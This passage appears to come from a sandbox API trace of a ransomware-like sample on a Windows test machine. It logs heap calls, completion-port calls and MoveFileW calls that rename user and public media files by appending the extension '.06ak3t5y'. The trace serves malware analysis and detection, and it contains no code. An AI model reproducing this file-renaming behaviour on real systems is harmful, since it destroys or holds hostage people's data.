lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\2pIHl6dW1Tj.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\2pihl6dw1tj.png.06ak3t5y")) returned 1 [0113.912] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.912] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0b80) returned 1 [0113.912] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44c9d50) returned 1 [0113.912] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.912] CloseHandle (hObject=0x2fc) returned 1 [0113.914] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfe) returned 0x366cb60 [0113.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\8kI9nfrKhl_-hQ6.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\8ki9nfrkhl_-hq6.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\8kI9nfrKhl_-hQ6.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\8ki9nfrkhl_-hq6.gif.06ak3t5y")) returned 1 [0113.915] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.915] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367b0a0) returned 1 [0113.915] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44dcbb0) returned 1 [0113.915] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.915] CloseHandle (hObject=0x2f4) returned 1 [0113.916] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0113.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\vuFOrfu.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\vuforfu.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\vuFOrfu.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\vuforfu.png.06ak3t5y")) returned 1 [0113.916] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.916] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0113.916] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44ee410) returned 1 [0113.916] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.916] CloseHandle (hObject=0x2f8) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\_hY-b8CF6iv.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\_hy-b8cf6iv.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\_hY-b8CF6iv.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\_hy-b8cf6iv.png.06ak3t5y")) returned 1 [0113.918] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.918] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0b00) returned 1 [0113.918] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44eef48) returned 1 [0113.918] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.918] CloseHandle (hObject=0x2a4) returned 1 [0113.920] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x106) returned 0x2086fa8 [0113.920] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\BCVRhXmdcBbj0.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\bcvrhxmdcbbj0.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\BCVRhXmdcBbj0.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\bcvrhxmdcbbj0.avi.06ak3t5y")) returned 1 [0113.921] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.921] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9c60) returned 1 [0113.921] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44f9828) returned 1 [0113.921] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.921] CloseHandle (hObject=0x41c) returned 1 [0113.922] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0113.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\d_wE.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\d_we.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\d_wE.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\d_we.flv.06ak3t5y")) returned 1 [0113.923] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.923] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0a80) returned 1 [0113.923] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x450aa08) returned 1 [0113.923] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.923] CloseHandle (hObject=0x420) returned 1 [0113.925] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10a) returned 0x2086fa8 [0113.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\VG-iIm5P4w8rjZV.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\vg-iim5p4w8rjzv.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\VG-iIm5P4w8rjZV.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\vg-iim5p4w8rjzv.mp4.06ak3t5y")) returned 1 [0113.925] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.925] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20784f8) returned 1 [0113.925] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45144b0) returned 1 [0113.927] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.927] CloseHandle (hObject=0x424) returned 1 [0113.929] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x104) returned 0x2086fa8 [0113.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X9RHt4PkF8UQ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x9rht4pkf8uq.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X9RHt4PkF8UQ.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x9rht4pkf8uq.flv.06ak3t5y")) returned 1 [0113.929] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.929] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9d80) returned 1 [0113.929] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4798d60) returned 1 [0113.932] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.932] CloseHandle (hObject=0x428) returned 1 [0113.933] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf8) returned 0x2099090 [0113.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\YjACMF.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\yjacmf.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\YjACMF.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\yjacmf.flv.06ak3t5y")) returned 1 [0113.934] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.934] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367b128) returned 1 [0113.934] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4521dc8) returned 1 [0113.935] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.935] CloseHandle (hObject=0x438) returned 1 [0113.942] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0113.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.06ak3t5y")) returned 1 [0113.944] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.944] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367b1b0) returned 1 [0113.944] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4ad0020) returned 1 [0113.948] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.948] CloseHandle (hObject=0x43c) returned 1 [0113.953] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0113.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.06ak3t5y")) returned 1 [0113.954] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.954] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee698) returned 1 [0113.954] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4bb0020) returned 1 [0113.957] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.957] CloseHandle (hObject=0x440) returned 1 [0113.961] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.961] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.06ak3t5y")) returned 1 [0113.962] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.962] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0a00) returned 1 [0113.962] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4c80020) returned 1 [0113.964] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.964] CloseHandle (hObject=0x444) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0113.969] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.06ak3t5y")) returned 1 [0113.970] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.970] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f280) returned 1 [0113.970] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4d20020) returned 1 [0113.973] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.973] CloseHandle (hObject=0x448) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0113.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.06ak3t5y")) returned 1 [0113.978] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.978] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee710) returned 1 [0113.978] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4de0020) returned 1 [0113.981] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.981] CloseHandle (hObject=0x44c) returned 1 [0113.985] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.985] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.06ak3t5y")) returned 1 [0113.985] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.985] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0700) returned 1 [0113.985] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4ea0020) returned 1 [0113.988] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.988] CloseHandle (hObject=0x454) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0113.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.06ak3t5y")) returned 1 [0113.992] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.992] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee8f0) returned 1 [0113.992] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4ff0020) returned 1 [0113.995] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.995] CloseHandle (hObject=0x450) returned 1 [0114.001] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf2) returned 0x2099090 [0114.001] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.06ak3t5y" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.06ak3t5y")) returned 1 [0114.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0114.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369fa80) returned 1 [0114.002] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4f30020) returned 1 [0114.005] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.005] CloseHandle (hObject=0x458) returned 1 [0114.258] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x114) returned 0x2086fa8 [0114.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.06ak3t5y" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.06ak3t5y")) returned 1 [0114.260] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.260] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fca0) returned 1 [0114.260] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5090020) returned 1 [0114.264] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.276] CloseHandle (hObject=0x460) returned 1 [0114.277] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11c) returned 0x2086fa8 [0114.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\-9rGFqsYF62c2hsP.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\-9rgfqsyf62c2hsp.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\-9rGFqsYF62c2hsP.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\-9rgfqsyf62c2hsp.mp3.06ak3t5y")) returned 1 [0114.278] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.278] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3688fe8) returned 1 [0114.278] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x452da08) returned 1 [0114.278] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.278] CloseHandle (hObject=0x464) returned 1 [0114.279] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x116) returned 0x2086fa8 [0114.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\a48Mjh2i TKB2.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\a48mjh2i tkb2.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\a48Mjh2i TKB2.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\a48mjh2i tkb2.mkv.06ak3t5y")) returned 1 [0114.280] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.280] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fd40) returned 1 [0114.280] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x388baa0) returned 1 [0114.280] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.280] CloseHandle (hObject=0x468) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x124) returned 0x2086fa8 [0114.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\pdbwVn-Lz4hgbH1S6sRs.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\pdbwvn-lz4hgbh1s6srs.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\pdbwVn-Lz4hgbH1S6sRs.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\pdbwvn-lz4hgbh1s6srs.bmp.06ak3t5y")) returned 1 [0114.282] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.283] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36788a8) returned 1 [0114.283] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52b0048) returned 1 [0114.283] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.283] CloseHandle (hObject=0x46c) returned 1 [0114.284] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x104) returned 0x2086fa8 [0114.284] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\WsOU.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\wsou.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\WsOU.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\wsou.gif.06ak3t5y")) returned 1 [0114.284] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.284] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9ea0) returned 1 [0114.284] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52caf68) returned 1 [0114.284] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.284] CloseHandle (hObject=0x470) returned 1 [0114.285] RtlAllocateHeap 